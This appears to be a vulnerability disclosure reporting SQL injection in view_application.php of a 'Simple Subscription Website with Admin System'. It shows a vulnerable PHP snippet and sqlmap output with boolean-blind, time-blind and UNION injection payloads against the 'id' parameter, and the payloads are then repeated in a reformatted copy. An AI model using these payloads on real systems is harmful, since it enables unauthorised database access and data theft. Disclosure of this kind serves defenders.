

Simple Subscription Website with Admin System

view_application.php has Sqlinjection

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view_application.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```

an.php      2
stem.php    3
er.php      4
5
6 <?php
7 require_once("../DBConnection.php");
8 if(isset($_GET['id']))
9 $qry = $conn->query("SELECT a.*,p.title,p.current_price,p.subscription_type FROM `application_list` a inner join `pla
10     foreach($qry->fetchArray() as $k => $v){
11         $$k = $v;
12     }
13 }
14 ?>
15 <style>
16     #uni_modal .modal-footer{
17         display:none;
18     }
19 </style>
20
21 <div class="container-fluid" id="plan-details">
22     <div class="row justify-content-center">
23         <div class="col-md-5">
24             <div class="card rounded-0 shadow">
25                 <div class="card-header rounded-0 bg-white">
26                     <h5 class="card-title">
27                         Plan to Apply

```

```

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 60 HTTP(s) requests:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=1' AND 8970=8970 AND 'xShN'='xShN

  Type: time-based blind
  Title: SQLite > 2.0 AND time-based blind (heavy query)
  Payload: id=1' AND 7006=LIKE (CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'jUoV'='jUoV

  Type: UNION query
  Title: Generic UNION query (NULL) - 9 columns
  Payload: id=-1214' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113,113,120,120,113)||CHAR(119,77,8
9,119,121,107,86,76,104,79,78,108,109,120,80,71,105,86,68,101,122,118,90,104,108,112,113,74,85,68,71,83,122,98,87,121,11
7,102,113,114)||CHAR(113,118,120,118,113)-- AEwZ
---

```

SqlMap Attack

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1' AND 8970=8970 AND 'xShN'='xShN

Type: time-based blind

Title: SQLite > 2.0 AND time-based blind (heavy query)

Payload: id=1' AND

7006=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOM
BLOB(5000000000/2)))) AND 'jUoV'='jUoV

Type: UNION query

Title: Generic UNION query (NULL) - 9 columns

Payload: id=-1214' UNION ALL SELECT

NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113,113,
120,120,113)||CHAR(119,77,89,119,121,107,86,76,104,79
,78,108,109,120,80,71,105,86,68,101,122,118,90,104,10
8,112,113,74,85,68,71,83,122,98,87,121,117,102,113,11
4)||CHAR(113,118,120,118,113)-- AEwZ
